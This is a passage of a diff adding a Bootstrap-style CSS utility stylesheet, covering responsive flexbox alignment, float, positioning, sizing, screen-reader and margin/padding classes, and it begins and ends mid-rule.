!important; + justify-content: center !important + } + + .justify-content-md-between { + -webkit-box-pack: justify !important; + -ms-flex-pack: justify !important; + justify-content: space-between !important + } + + .justify-content-md-around { + -ms-flex-pack: distribute !important; + justify-content: space-around !important + } + + .align-items-md-start { + -webkit-box-align: start !important; + -ms-flex-align: start !important; + align-items: flex-start !important + } + + .align-items-md-end { + -webkit-box-align: end !important; + -ms-flex-align: end !important; + align-items: flex-end !important + } + + .align-items-md-center { + -webkit-box-align: center !important; + -ms-flex-align: center !important; + align-items: center !important + } + + .align-items-md-baseline { + -webkit-box-align: baseline !important; + -ms-flex-align: baseline !important; + align-items: baseline !important + } + + .align-items-md-stretch { + -webkit-box-align: stretch !important; + -ms-flex-align: stretch !important; + align-items: stretch !important + } + + .align-content-md-start { + -ms-flex-line-pack: start !important; + align-content: flex-start !important + } + + .align-content-md-end { + -ms-flex-line-pack: end !important; + align-content: flex-end !important + } + + .align-content-md-center { + -ms-flex-line-pack: center !important; + align-content: center !important + } + + .align-content-md-between { + -ms-flex-line-pack: justify !important; + align-content: space-between !important + } + + .align-content-md-around { + -ms-flex-line-pack: distribute !important; + align-content: space-around !important + } + + .align-content-md-stretch { + -ms-flex-line-pack: stretch !important; + align-content: stretch !important + } + + .align-self-md-auto { + -ms-flex-item-align: auto !important; + align-self: auto !important + } + + .align-self-md-start { + -ms-flex-item-align: start !important; + align-self: flex-start !important + } + + .align-self-md-end { + -ms-flex-item-align: end !important; + align-self: flex-end !important + } + + .align-self-md-center { + -ms-flex-item-align: center !important; + align-self: center !important + } + + .align-self-md-baseline { + -ms-flex-item-align: baseline !important; + align-self: baseline !important + } + + .align-self-md-stretch { + -ms-flex-item-align: stretch !important; + align-self: stretch !important + } +} + +@media (min-width: 992px) { + .flex-lg-row { + -webkit-box-orient: horizontal !important; + -webkit-box-direction: normal !important; + -ms-flex-direction: row !important; + flex-direction: row !important + } + + .flex-lg-column { + -webkit-box-orient: vertical !important; + -webkit-box-direction: normal !important; + -ms-flex-direction: column !important; + flex-direction: column !important + } + + .flex-lg-row-reverse { + -webkit-box-orient: horizontal !important; + -webkit-box-direction: reverse !important; + -ms-flex-direction: row-reverse !important; + flex-direction: row-reverse !important + } + + .flex-lg-column-reverse { + -webkit-box-orient: vertical !important; + -webkit-box-direction: reverse !important; + -ms-flex-direction: column-reverse !important; + flex-direction: column-reverse !important + } + + .flex-lg-wrap { + -ms-flex-wrap: wrap !important; + flex-wrap: wrap !important + } + + .flex-lg-nowrap { + -ms-flex-wrap: nowrap !important; + flex-wrap: nowrap !important + } + + .flex-lg-wrap-reverse { + -ms-flex-wrap: wrap-reverse !important; + flex-wrap: wrap-reverse !important + } + + .justify-content-lg-start { + -webkit-box-pack: start !important; + -ms-flex-pack: start !important; + justify-content: flex-start !important + } + + .justify-content-lg-end { + -webkit-box-pack: end !important; + -ms-flex-pack: end !important; + justify-content: flex-end !important + } + + .justify-content-lg-center { + -webkit-box-pack: center !important; + -ms-flex-pack: center !important; + justify-content: center !important + } + + .justify-content-lg-between { + -webkit-box-pack: justify !important; + -ms-flex-pack: justify !important; + justify-content: space-between !important + } + + .justify-content-lg-around { + -ms-flex-pack: distribute !important; + justify-content: space-around !important + } + + .align-items-lg-start { + -webkit-box-align: start !important; + -ms-flex-align: start !important; + align-items: flex-start !important + } + + .align-items-lg-end { + -webkit-box-align: end !important; + -ms-flex-align: end !important; + align-items: flex-end !important + } + + .align-items-lg-center { + -webkit-box-align: center !important; + -ms-flex-align: center !important; + align-items: center !important + } + + .align-items-lg-baseline { + -webkit-box-align: baseline !important; + -ms-flex-align: baseline !important; + align-items: baseline !important + } + + .align-items-lg-stretch { + -webkit-box-align: stretch !important; + -ms-flex-align: stretch !important; + align-items: stretch !important + } + + .align-content-lg-start { + -ms-flex-line-pack: start !important; + align-content: flex-start !important + } + + .align-content-lg-end { + -ms-flex-line-pack: end !important; + align-content: flex-end !important + } + + .align-content-lg-center { + -ms-flex-line-pack: center !important; + align-content: center !important + } + + .align-content-lg-between { + -ms-flex-line-pack: justify !important; + align-content: space-between !important + } + + .align-content-lg-around { + -ms-flex-line-pack: distribute !important; + align-content: space-around !important + } + + .align-content-lg-stretch { + -ms-flex-line-pack: stretch !important; + align-content: stretch !important + } + + .align-self-lg-auto { + -ms-flex-item-align: auto !important; + align-self: auto !important + } + + .align-self-lg-start { + -ms-flex-item-align: start !important; + align-self: flex-start !important + } + + .align-self-lg-end { + -ms-flex-item-align: end !important; + align-self: flex-end !important + } + + .align-self-lg-center { + -ms-flex-item-align: center !important; + align-self: center !important + } + + .align-self-lg-baseline { + -ms-flex-item-align: baseline !important; + align-self: baseline !important + } + + .align-self-lg-stretch { + -ms-flex-item-align: stretch !important; + align-self: stretch !important + } +} + +@media (min-width: 1200px) { + .flex-xl-row { + -webkit-box-orient: horizontal !important; + -webkit-box-direction: normal !important; + -ms-flex-direction: row !important; + flex-direction: row !important + } + + .flex-xl-column { + -webkit-box-orient: vertical !important; + -webkit-box-direction: normal !important; + -ms-flex-direction: column !important; + flex-direction: column !important + } + + .flex-xl-row-reverse { + -webkit-box-orient: horizontal !important; + -webkit-box-direction: reverse !important; + -ms-flex-direction: row-reverse !important; + flex-direction: row-reverse !important + } + + .flex-xl-column-reverse { + -webkit-box-orient: vertical !important; + -webkit-box-direction: reverse !important; + -ms-flex-direction: column-reverse !important; + flex-direction: column-reverse !important + } + + .flex-xl-wrap { + -ms-flex-wrap: wrap !important; + flex-wrap: wrap !important + } + + .flex-xl-nowrap { + -ms-flex-wrap: nowrap !important; + flex-wrap: nowrap !important + } + + .flex-xl-wrap-reverse { + -ms-flex-wrap: wrap-reverse !important; + flex-wrap: wrap-reverse !important + } + + .justify-content-xl-start { + -webkit-box-pack: start !important; + -ms-flex-pack: start !important; + justify-content: flex-start !important + } + + .justify-content-xl-end { + -webkit-box-pack: end !important; + -ms-flex-pack: end !important; + justify-content: flex-end !important + } + + .justify-content-xl-center { + -webkit-box-pack: center !important; + -ms-flex-pack: center !important; + justify-content: center !important + } + + .justify-content-xl-between { + -webkit-box-pack: justify !important; + -ms-flex-pack: justify !important; + justify-content: space-between !important + } + + .justify-content-xl-around { + -ms-flex-pack: distribute !important; + justify-content: space-around !important + } + + .align-items-xl-start { + -webkit-box-align: start !important; + -ms-flex-align: start !important; + align-items: flex-start !important + } + + .align-items-xl-end { + -webkit-box-align: end !important; + -ms-flex-align: end !important; + align-items: flex-end !important + } + + .align-items-xl-center { + -webkit-box-align: center !important; + -ms-flex-align: center !important; + align-items: center !important + } + + .align-items-xl-baseline { + -webkit-box-align: baseline !important; + -ms-flex-align: baseline !important; + align-items: baseline !important + } + + .align-items-xl-stretch { + -webkit-box-align: stretch !important; + -ms-flex-align: stretch !important; + align-items: stretch !important + } + + .align-content-xl-start { + -ms-flex-line-pack: start !important; + align-content: flex-start !important + } + + .align-content-xl-end { + -ms-flex-line-pack: end !important; + align-content: flex-end !important + } + + .align-content-xl-center { + -ms-flex-line-pack: center !important; + align-content: center !important + } + + .align-content-xl-between { + -ms-flex-line-pack: justify !important; + align-content: space-between !important + } + + .align-content-xl-around { + -ms-flex-line-pack: distribute !important; + align-content: space-around !important + } + + .align-content-xl-stretch { + -ms-flex-line-pack: stretch !important; + align-content: stretch !important + } + + .align-self-xl-auto { + -ms-flex-item-align: auto !important; + align-self: auto !important + } + + .align-self-xl-start { + -ms-flex-item-align: start !important; + align-self: flex-start !important + } + + .align-self-xl-end { + -ms-flex-item-align: end !important; + align-self: flex-end !important + } + + .align-self-xl-center { + -ms-flex-item-align: center !important; + align-self: center !important + } + + .align-self-xl-baseline { + -ms-flex-item-align: baseline !important; + align-self: baseline !important + } + + .align-self-xl-stretch { + -ms-flex-item-align: stretch !important; + align-self: stretch !important + } +} + +.float-left { + float: left !important +} + +.float-right { + float: right !important +} + +.float-none { + float: none !important +} + +@media (min-width: 576px) { + .float-sm-left { + float: left !important + } + + .float-sm-right { + float: right !important + } + + .float-sm-none { + float: none !important + } +} + +@media (min-width: 768px) { + .float-md-left { + float: left !important + } + + .float-md-right { + float: right !important + } + + .float-md-none { + float: none !important + } +} + +@media (min-width: 992px) { + .float-lg-left { + float: left !important + } + + .float-lg-right { + float: right !important + } + + .float-lg-none { + float: none !important + } +} + +@media (min-width: 1200px) { + .float-xl-left { + float: left !important + } + + .float-xl-right { + float: right !important + } + + .float-xl-none { + float: none !important + } +} + +.position-static { + position: static !important +} + +.position-relative { + position: relative !important +} + +.position-absolute { + position: absolute !important +} + +.position-fixed { + position: fixed !important +} + +.position-sticky { + position: -webkit-sticky !important; + position: sticky !important +} + +.fixed-top { + position: fixed; + top: 0; + right: 0; + left: 0; + z-index: 1030 +} + +.fixed-bottom { + position: fixed; + right: 0; + bottom: 0; + left: 0; + z-index: 1030 +} + +@supports (position: -webkit-sticky) or (position: sticky) { + .sticky-top { + position: -webkit-sticky; + position: sticky; + top: 0; + z-index: 1020 + } +} + +.sr-only { + position: absolute; + width: 1px; + height: 1px; + padding: 0; + overflow: hidden; + clip: rect(0, 0, 0, 0); + white-space: nowrap; + -webkit-clip-path: inset(50%); + clip-path: inset(50%); + border: 0 +} + +.sr-only-focusable:active, .sr-only-focusable:focus { + position: static; + width: auto; + height: auto; + overflow: visible; + clip: auto; + white-space: normal; + -webkit-clip-path: none; + clip-path: none +} + +.w-25 { + width: 25% !important +} + +.w-50 { + width: 50% !important +} + +.w-75 { + width: 75% !important +} + +.w-100 { + width: 100% !important +} + +.h-25 { + height: 25% !important +} + +.h-50 { + height: 50% !important +} + +.h-75 { + height: 75% !important +} + +.h-100 { + height: 100% !important +} + +.mw-100 { + max-width: 100% !important +} + +.mh-100 { + max-height: 100% !important +} + +.m-0 { + margin: 0 !important +} + +.mt-0, .my-0 { + margin-top: 0 !important +} + +.mr-0, .mx-0 { + margin-right: 0 !important +} + +.mb-0, .my-0 { + margin-bottom: 0 !important +} + +.ml-0, .mx-0 { + margin-left: 0 !important +} + +.m-1 { + margin: 0.25rem !important +} + +.mt-1, .my-1 { + margin-top: 0.25rem !important +} + +.mr-1, .mx-1 { + margin-right: 0.25rem !important +} + +.mb-1, .my-1 { + margin-bottom: 0.25rem !important +} + +.ml-1, .mx-1 { + margin-left: 0.25rem !important +} + +.m-2 { + margin: 0.5rem !important +} + +.mt-2, .my-2 { + margin-top: 0.5rem !important +} + +.mr-2, .mx-2 { + margin-right: 0.5rem !important +} + +.mb-2, .my-2 { + margin-bottom: 0.5rem !important +} + +.ml-2, .mx-2 { + margin-left: 0.5rem !important +} + +.m-3 { + margin: 1rem !important +} + +.mt-3, .my-3 { + margin-top: 1rem !important +} + +.mr-3, .mx-3 { + margin-right: 1rem !important +} + +.mb-3, .my-3 { + margin-bottom: 1rem !important +} + +.ml-3, .mx-3 { + margin-left: 1rem !important +} + +.m-4 { + margin: 1.5rem !important +} + +.mt-4, .my-4 { + margin-top: 1.5rem !important +} + +.mr-4, .mx-4 { + margin-right: 1.5rem !important +} + +.mb-4, .my-4 { + margin-bottom: 1.5rem !important +} + +.ml-4, .mx-4 { + margin-left: 1.5rem !important +} + +.m-5 { + margin: 3rem !important +} + +.mt-5, .my-5 { + margin-top: 3rem !important +} + +.mr-5, .mx-5 { + margin-right: 3rem !important +} + +.mb-5, .my-5 { + margin-bottom: 3rem !important +} + +.ml-5, .mx-5 { + margin-left: 3rem !important +} + +.p-0 { + padding: 0 !important +} + +.pt-0, .py-0 { + padding-top: 0 !important +} + +.pr-0, .px-0 { + padding-right: 0 !important +} + +.pb-0, .py-0 { + padding-bottom: 0 !important +} + +.pl-0, .px-0 { + padding-left: 0 !important +} + +.p-1 { + padding: 0.25rem !important +} + +.pt-1, .py-1 { + padding-top: 0.25rem !important +} + +.pr-1, .px-1 { + padding-right: 0.25rem !important +} + +.pb-1, .py-1 { + padding-bottom: 0.25rem !important +} + +.pl-1, .px-1 { + padding-left: 0.25rem !important +} + +.p-2 { + padding: 0.5rem !important +} + +.pt-2, .py-2 { + padding-top: 0.5rem !important +} + +.pr-2, .px-2 { + padding-right: 0.5rem !important +} + +.pb-2, .py-2 { + padding-bottom: 0.5rem !important +} + +.pl-2, .px-2 { + padding-left: 0.5rem !important +} + +.p-3 { + padding: 1rem !important +} + +.pt-3, .py-3 { + padding-top: 1rem !important +} + +.pr-3, .px-3 { + padding-right: 1rem !important +} + +.pb-3, .py-3 { + padding-bottom: 1rem !important +} + +.pl-3, .px-3 { + padding-left: 1rem !important +} + +.p-4 { + padding: 1.5rem !important +} + +.pt-4, .py-4 { + padding-top: 1.5rem !important +} + +.pr-4, .px-4 { + padding-right: 1.5rem !important +} + +.pb-4, .py-4 { + padding-bottom: 1.5rem !important +} + +.pl-4, .px-4 { + padding-left: 1.5rem !important +} + +.p-5 { + padding: 3rem !important +} + +.pt-5, .py-5 { + padding-top: 3rem !important +} + +.pr-5, .px-5 { + padding-right: 3rem !important +} + +.pb-5, .py-5 { + padding-bottom: 3rem !important +} + +.pl-5, .px-5 { + padding-left: 3rem !important +} + +.m-auto { + margin: auto !important +} + +.mt-auto, .my-auto { + margin-top: auto !important +} + +.mr-auto, .mx-auto { + margin-right: auto !important +} + +.mb-auto, .my-auto { + margin-bottom: auto !important +} + +.ml-auto, .mx-auto { + margin-left: auto !important +} + +@media (min-width: 576px) { + .m-sm-0 { + margin: 0 !important + } + + .mt-sm-0, .my-sm-0 { + margin-top: 0 !important + } + + .mr-sm-0, .mx-sm-0 { + margin-right: 0 !important + } + + .mb-sm-0, .my-sm-0 { + margin-bottom: 0 !important + } + + .ml-sm-0, .mx-sm-0 { + margin-left: 0 !important + } + + .m-sm-1 { + margin: 0.25rem !important + } + + .mt-sm-1, .my-sm-1 { + margin-top: 0.25rem !important + } + + .mr-sm-1, .mx-sm-1 { + margin-right: 0.25rem !important + } + + .mb-sm-1, .my-sm-1 { + margin-bottom: 0.25rem !important + } + + .ml-sm-1, .mx-sm-1 { + margin-left: 0.25rem !important + } + + .m-sm-2 { + margin: 0.5rem !important + } + + .mt-sm-2, .my-sm-2 { + margin-top: 0.5rem !important + } + + .mr-sm-2, .mx-sm-2 { + margin-right: 0.5rem !important + } + + .mb-sm-2, .my-sm-2 { + margin-bottom: 0.5rem !important + } + + .ml-sm-2, .mx-sm-2 { + margin-left: 0.5rem !important + } + + .m-sm-3 { + margin: 1rem !important + } + + .mt-sm-3, .my-sm-3 { + margin-top: 1rem !important + } + + .mr-sm-3, .mx-sm-3 { + margin-right: 1rem !important + } + + .mb-sm-3, .my-sm-3 { + margin-bottom: 1rem !important + } + + .ml-sm-3, .mx-sm-3 { + margin-left: 1rem !important + } + + .m-sm-4 { + margin: 1.5rem !important + } + + .mt-sm-4, .my-sm-4 { + margin-top: 1.5rem !important + } + + .mr-sm-4, .mx-sm-4 { + margin-right: 1.5rem !important + } + + .mb-sm-4, .my-sm-4 { + margin-bottom: 1.5rem !important + } + + .ml-sm-4, .mx-sm-4 { + margin-left: 1.5rem !important + } + + .m-sm-5 { + margin: 3rem !important + } + + .mt-sm-5, .my-sm-5 { + margin-top: 3rem !important + } + + .mr-sm-5, .mx-sm-5 { + margin-right: 3rem !important + } + + .mb-sm-5, .my-sm-5 { + margin-bottom: 3rem !important + } + + .ml-sm-5, .mx-sm-5 { + margin-left: 3rem !important + } + + .p-sm-0 { + padding: 0 !important + } + + .pt-sm-0, .py-sm-0 { + padding-top: 0 !important + } + + .pr-sm-0, .px-sm-0 { + padding-right: 0 !important + } + + .pb-sm-0, .py-sm-0 { + padding-bottom: 0 !important + } + + .pl-sm-0, .px-sm-0 { + padding-left: 0 !important + } + + .p-sm-1 { + padding: 0.25rem !important + } + + .pt-sm-1, .py-sm-1 { + padding-top: 0.25rem !important + } + + .pr-sm-1, .px-sm-1 { + padding-right: 0.25rem !important + } + + .pb-sm-1, .py-sm-1 { + padding-bottom: 0.25rem !important + } + + .pl-sm-1, .px-sm-1 { + padding-left: 0.25rem !important + } + + .p-sm-2 { + padding: 0.5rem !important + } + + .pt-sm-2, .py-sm-2 { + padding-top: 0.5rem !important + } + + .pr-sm-2, .px-sm-2 { + padding-right: 0.5rem !important + } + + .pb-sm-2, .py-sm-2 { + padding-bottom: 0.5rem !important + } + + .pl-sm-2, .px-sm-2 { + padding-left: 0.5rem !important + } + + .p-sm-3 { + padding: 1rem !important + } + + .pt-sm-3, .py-sm-3 { + padding-top: 1rem !important + } + + .pr-sm-3, .px-sm-3 { + padding-right: 1rem !important + } + + .pb-sm-3, .py-sm-3 { + padding-bottom: 1rem !important + } + + .pl-sm-3, .px-sm-3 { + padding-left: 1rem !important + } + + .p-sm-4 { + padding: 1.5rem !important + } + + .pt-sm-4, .py-sm-4 { + padding-top: 1.5rem !important + } + + .pr-sm-4, .px-sm-4 { + padding-right: 1.5rem !important + } + + .pb-sm-4, .py-sm-4 { + padding-bottom: 1.5rem !important + } + + .pl-sm-4, .px-sm-4 { + padding-left: 1.5rem !important + } + + .p-sm-5 { + padding: 3rem !important + } + + .pt-sm-5, .py-sm-5 { + padding-top: 3rem !important + } + + .pr-sm-5, .px-sm-5 { + padding-right: 3rem !important + } + + .pb-sm-5, .py-sm-5 { + padding-bottom: 3rem !important + } + + .pl-sm-5, .px-sm-5 { + padding-left: 3rem !important + } + + .m-sm-auto { + margin: auto !important + } + + .mt-sm-auto, .my-sm-auto { + margin-top: auto !important + } + + .mr-sm-auto, .mx-sm-auto { + margin-right: auto !important + } + + .mb-sm-auto, .my-sm-auto { + margin-bottom: auto !important + } + + .ml-sm-auto, .mx-sm-auto { + margin-left: auto !important + } +} + +@media (min-width: 768px) { + .m-md-0 { + margin: 0 !important + } + + .mt-md-0, .my-md-0 { + margin-top: 0 !important + } + + .mr-md-0, .mx-md-0 { + margin-right: 0 !important + } + + .mb-md-0, .my-md-0 { + margin-bottom: 0 !important + } + + .ml-md-0, .mx-md-0 { + margin-left: 0 !important + } + + .m-md-1 { + margin: 0.25rem !important + } + + .mt-md-1, .my-md-1 { + margin-top: 0.25rem !important + } + + .mr-md-1, .mx-md-1 { + margin-right: 0.25rem !important + } + + .mb-md-1, .my-md-1 { + margin-bottom: 0.25rem !important + } + + .ml-md-1, .mx-md-1 { + margin-left: 0.25rem !important + } + + .m-md-2 { + margin: 0.5rem !important + } + + .mt-md-2, .my-md-2 { + margin-top: 0.5rem !important + } + + .mr-md-2, .mx-md-2 { + margin-right: 0.5rem !important + } + + .mb-md-2, .my-md-2 { + margin-bottom: 0.5rem !important + } + + .ml-md-2, .mx-md-2 { + margin-left: 0.5rem !important + } + + .m-md-3 { + margin: 1rem !important + } + + .mt-md-3, .my-md-3 { + margin-top: 1rem !important + } + + .mr-md-3, .mx-md-3 { + margin-right: 1rem !important + } + + .mb-md-3, .my-md-3 { + margin-bottom: 1rem !important + } + + .ml-md-3, .mx-md-3 { + margin-left: 1rem !important + } + + .m-md-4 { + margin: 1.5rem !important + } + + .mt-md-4, .my-md-4 { + margin-top: 1.5rem !important + } + + .mr-md-4, .mx-md-4 { + margin-right: 1.5rem !important + } + + .mb-md-4, .my-md-4 { + margin-bottom: 1.5rem !important + } + + .ml-md-4, .mx-md-4 { + margin-left: 1.5rem !important + } + + .m-md-5 { + margin: 3rem !important + } + + .mt-md-5, .my-md-5 { + margin-top: 3rem !important + } + + .mr-md-5, .mx-md-5 { + margin-right: 3rem !important + } + + .mb-md-5, .my-md-5 { + margin-bottom: 3rem !important + } + + .ml-md-5, .mx-md-5 { + margin-left: 3rem !important + } + + .p-md-0 { + padding: 0 !important + } + + .pt-md-0, .py-md-0 { + padding-top: 0 !important + } + + .pr-md-0, .px-md-0 { + padding-right: 0 !important + } + + .pb-md-0, .py-md-0 { + padding-bottom: 0 !important + } + + .pl-md-0, .px-md-0 { + padding-left: 0 !important + } + + .p-md-1 { + padding: 0.25rem !important + } + + .pt-md-1, .py-md-1 { + padding-top: 0.25rem !important + } + + .pr-md-1, .px-md-1 { + padding-right: 0.25rem !important + } + + .pb-md-1, .py-md-1 { + padding-bottom: 0.25rem !important + } + + .pl-md-1, .px-md-1 { + padding-left: 0.25rem !important + } + + .p-md-2 { + padding: 0.5rem !important + } + + .pt-md-2, .py-md-2 { + padding-top: 0.5rem !important + } + + .pr-md-2, .px-md-2 { + padding-right: 0.5rem !important + } + + .pb-md-2, .py-md-2 { + padding-bottom: 0.5rem !important + } + + .pl-md-2, .px-md-2 { + padding-left: 0.5rem !important + } + + .p-md-3 { + padding: 1rem !important + } + + .pt-md-3, .py-md-3 { + padding-top: 1rem !important + } + + .pr-md-3, .px-md-3 { + padding-right: 1rem !important + } + + .pb-md-3, .py-md-3 { + padding-bottom: 1rem !important + } + + .pl-md-3, .px-md-3 { + padding-left: 1rem !important + } + + .p-md-4 { + padding: 1.5rem !important + } + + .pt-md-4, .py-md-4 { + padding-top: 1.5rem !important + } + + .pr-md-4, .px-md-4 { + padding-right: 1.5rem !important + } + + .pb-md-4, .py-md-4 { + padding-bottom: 1.5rem !important + } + + .pl-md-4, .px-md-4 { + padding-left: 1.5rem !important + } + + .p-md-5 { + padding: 3rem !important + } + + .pt-md-5, .py-md-5 { + padding-top: 3rem !important + } + + .pr-md-5, .px-md-5 { + padding-right: 3rem !important + } + + .pb-md-5, .py-md-5 { + padding-bottom: 3rem !important + } + + .pl-md-5, .px-md-5 { + padding-left: 3rem !important + } + + .m-md-auto { + margin: auto !important + } + + .mt-md-auto, .my-md-auto { + margin-top: auto !important + } + + .mr-md-auto, .mx-md-auto { + margin-right: auto !important + } + + .mb-md-auto, .my-md-auto { + margin-bottom: auto !important + } + + .ml-md-auto, .mx-md-auto { + margin-left: auto !important + } +} + +@media (min-width: 992px) { + .m-lg-0 { + margin: 0 !important + } + + .mt-lg-0, .my-lg-0 { + margin-top: 0 !important + } + + .mr-lg-0, .mx-lg-0 { + margin-right: 0 !important + } + + .mb-lg-0, .my-lg-0 { + margin-bottom: 0 !important + } + + .ml-lg-0, .mx-lg-0 { + margin-left: 0 !important + } + + .m-lg-1 { + margin: 0.25rem !important + } + + .mt-lg-1, .my-lg-1 { + margin-top: 0.25rem !important + } + + .mr-lg-1, .mx-lg-1 { + margin-right: 0.25rem !important + } + + .mb-lg-1, .my-lg-1 { + margin-bottom: 0.25rem !important + } + + .ml-lg-1, .mx-lg-1 { + margin-left: 0.25rem !important + } + + .m-lg-2 { + margin: 0.5rem !important + } + + .mt-lg-2, .my-lg-2 { + margin-top: 0.5rem !important + } + + .mr-lg-2, .mx-lg-2 { + margin-right: 0.5rem !important + } + + .mb-lg-2, .my-lg-2 { + margin-bottom: 0.5rem !important + } + + .ml-lg-2, .mx-lg-2 { + margin-left: 0.5rem !important + } + + .m-lg-3 { + margin: 1rem !important + } + + .mt-lg-3, .my-lg-3 { + margin-top: 1rem !important + } + + .mr-lg-3, .mx-lg-3 { + margin-right: 1rem !important + } + + .mb-lg-3, .my-lg-3 { + margin-bottom: 1rem !important + } + + .ml-lg-3, .mx-lg-3 { + margin-left: 1rem !important + } + + .m-lg-4 { + margin: 1.5rem !important + } + + .mt-lg-4, .my-lg-4 { + margin-top: 1.5rem !important + } + + .mr-lg-4, .mx-lg-4 { + margin-right: 1.5rem !important + } + + .mb-lg-4, .my-lg-4 { + margin-bottom: 1.5rem !important + } + + .ml-lg-4, .mx-lg-4 { + margin-left: 1.5rem !important + } + + .m-lg-5 { + margin: 3rem !important + } + + .mt-lg-5, .my-lg-5 { + margin-top: 3rem !important + } + + .mr-lg-5, .mx-lg-5 { + margin-right: 3rem !important + } + + .mb-lg-5, .my-lg-5 { + margin-bottom: 3rem !important + } + + .ml-lg-5, .mx-lg-5 { + margin-left: 3rem !important + } + + .p-lg-0 { + padding: 0 !important + } + + .pt-lg-0, .py-lg-0 { + padding-top: 0 !important + } + + .pr-lg-0, .px-lg-0 { + padding-right: 0 !important + } + + .pb-lg-0, .py-lg-0 { + padding-bottom: 0 !important + } + + .pl-lg-0, .px-lg-0 { + padding-left: 0 !important + } + + .p-lg-1 { + padding: 0.25rem !important + } + + .pt-lg-1, .py-lg-1 { + padding-top: 0.25rem !important + } + + .pr-lg-1, .px-lg-1 { + padding-right: 0.25rem !important + } + + .pb-lg-1, .py-lg-1 { + padding-bottom: 0.25rem !important + } + + .pl-lg-1, .px-lg-1 { + padding-left: 0.25rem !important + } + + .p-lg-2 { + padding: 0.5rem !important + } + + .pt-lg-2, .py-lg-2 { + padding-top: 0.5rem !important + } + + .pr-lg-2, .px-lg-2 { + padding-right: 0.5rem !important + } + + .pb-lg-2, .py-lg-2 { + padding-bottom: 0.5rem !important + } + + .pl-lg-2, .px-lg-2 { + padding-left: 0.5rem !important + } + + .p-lg-3 { + padding: 1rem !important + } + + .pt-lg-3, .py-lg-3 { + padding-top: 1rem !important + } + + .pr-lg-3, .px-lg-3 { + padding-right: 1rem !important + } + + .pb-lg-3, .py-lg-3 { + padding-bottom: 1rem !important + } + + .pl-lg-3, .px-lg-3 { + padding-left: 1rem !important + } + + .p-lg-4 { + padding: 1.5rem !important + } + + .pt-lg-4, .py-lg-4 { + padding-top: 1.5rem !important + } + + .pr-lg-4, .px-lg-4 { + padding-right: 1.5rem !important + } + + .pb-lg-4, .py-lg-4 { + padding-bottom: 1.5rem !important + } + + .pl-lg-4, .px-lg-4 { + padding-left: 1.5rem !important + } + + .p-lg-5 { + padding: 3rem !important + } + + .pt-lg-5, .py-lg-5 { + padding-top: 3rem !important + } + + .pr-lg-5, .px-lg-5 { + padding-right: 3rem !important + } + + .pb-lg-5, .py-lg-5 { + padding-bottom: 3rem !important + } + + .pl-lg-5, .px-lg-5 { + padding-left: 3rem !important + } + + .m-lg-auto { + margin: auto !important + } + + .mt-lg-auto, .my-lg-auto { + margin-top: auto !important + } + + .mr-lg-auto, .mx-lg-auto { + margin-right: auto !important + } + + .mb-lg-auto, .my-lg-auto { + margin-bottom: auto !important + } + + .ml-lg-auto, .mx-lg-auto { + margin-left: auto !important + } +} + +@media (min-width: 1200px) { + .m-xl-0 { + margin: 0 !important + } + + .mt-xl-0, .my-xl-0 { + margin-top: 0 !important + } + + .mr-xl-0, .mx-xl-0 { + margin-right: 0 !important + } + + .mb-xl-0, .my-xl-0 { + margin-bottom: 0 !important + } + + .ml-xl-0, .mx-xl-0 { + margin-left: 0 !important + } + + .m-xl-1 { + margin: 0.25rem !important + } + + .mt-xl-1, .my-xl-1 { + margin-top: 0.25rem !important + } + + .mr-xl-1, .mx-xl-1 { + margin-right: 0.25rem !important + } + + .mb-xl-1, .my-xl-1 { + margin-bottom: 0.25rem !important + } + + .ml-xl-1, .mx-xl-1 { + margin-left: 0.25rem !important + } + + .m-xl-2 { + margin: 0.5rem !important + } + + .mt-xl-2, .my-xl-2 { + margin-top: 0.5rem !important + } + + .mr-xl-2, .mx-xl-2 { + margin-right: 0.5rem !important + } + + .mb-xl-2, .my-xl-2 { + margin-bottom: 0.5rem !important + } + + .ml-xl-2, .mx-xl-2 { + margin-left: 0.5rem !important + } + + .m-xl-3 { + margin: 1rem !important + } + + .mt-xl-3, .my-xl-3 { + margin-top: 1rem !important + } + + .mr-xl-3, .mx-xl-3 { + margin-right: 1rem !important + } + + .mb-xl-3, .my-xl-3 { + margin-bottom: 1rem !important + } + + .ml-xl-3, .mx-xl-3 { + margin-left: 1rem !important + } + + .m-xl-4 { + margin: 1.5rem !important + } + + .mt-xl-4, .my-xl-4 { + margin-top: 1.5rem !important + } + + .mr-xl-4, .mx-xl-4 { + margin-right: 1.5rem !important + } + + .mb-xl-4, .my-xl-4 { + margin-bottom: 1.5rem !important + } + + .ml-xl-4, .mx-xl-4 { + margin-left: 1.5rem !important + } + + .m-xl-5 { + margin: 3rem !important + } + + .mt-xl-5, .my-xl-5 { + margin-top: 3rem !important + } + + .mr-xl-5, .mx-xl-5 { + margin-right: 3rem !important + } + + .mb-xl-5, .my-xl-5 { + margin-bottom: 3rem !important + } + + .ml-xl-5, .mx-xl-5 { + margin-left: 3rem !important + } + + .p-xl-0 { + padding: 0 !important + } + + .pt-xl-0, .py-xl-0 { + padding-top: 0 !important + } + + .pr-xl-0, .px-xl-0 { + padding-right: 0 !important + } + + .pb-xl-0, .py-xl-0 { + padding-bottom: 0 !important + } + + .pl-xl-0, .px-xl-0 { + padding-left: 0 !important + } + + .p-xl-1 { + padding: 0.25rem !important + } + + .pt-xl-1, .py-xl-1 { + padding-top: 0.25rem !important + } + + .pr-xl-1, .px-xl-1 { + padding-right: 0.25rem !important + } + + .pb-xl-1, .py-xl-1 { + padding-bottom: 0.25rem !important + } + + .pl-xl-1, .px-xl-1 { + padding-left: 0.25rem !important + } + + .p-xl-2 { + padding: 0.5rem !important + } + + .pt-xl-2, .py-xl-2 { + padding-top: 0.5rem !important + } + + .pr-xl-2, .px-xl-2 { + padding-right: 0.5rem !important + } + + .pb-xl-2, .py-xl-2 { + padding-bottom: 0.5rem !important + } + + .pl-xl-2, .px-xl-2 { + padding-left: 0.5rem !important + } + + .p-xl-3 { + padding: 1rem !important + } + + .pt-xl-3, .py-xl-3 { + padding-top: 1rem !important + } + + .pr-xl-3, .px-xl-3 { + padding-right: 1rem !important + } + + .pb-xl-3, .py-xl-3 { + padding-bottom: 1rem !important + } + + .pl-xl-3, .px-xl-3 { + padding-left: 1rem !important + } + + .p-xl-4 { + padding: 1.5rem !important + } + + .pt-xl-4, .py-xl-4 { + padding-top: 1.5rem !important + } + + .pr-xl-4, .px-xl-4 { + padding-right: 1.5rem !important + } + + .pb-xl-4, .py-xl-4 { + padding-bottom: 1.5rem !important + } + + .pl-xl-4, .px-xl-4 { + padding-left: 1.5rem !important + } + + .p-xl-5 { + padding: 3rem !important + } + + .pt-xl-5, .py-xl-5 { + padding-top: 3rem !important + } + + .pr-xl-5, .px-xl-5 { + 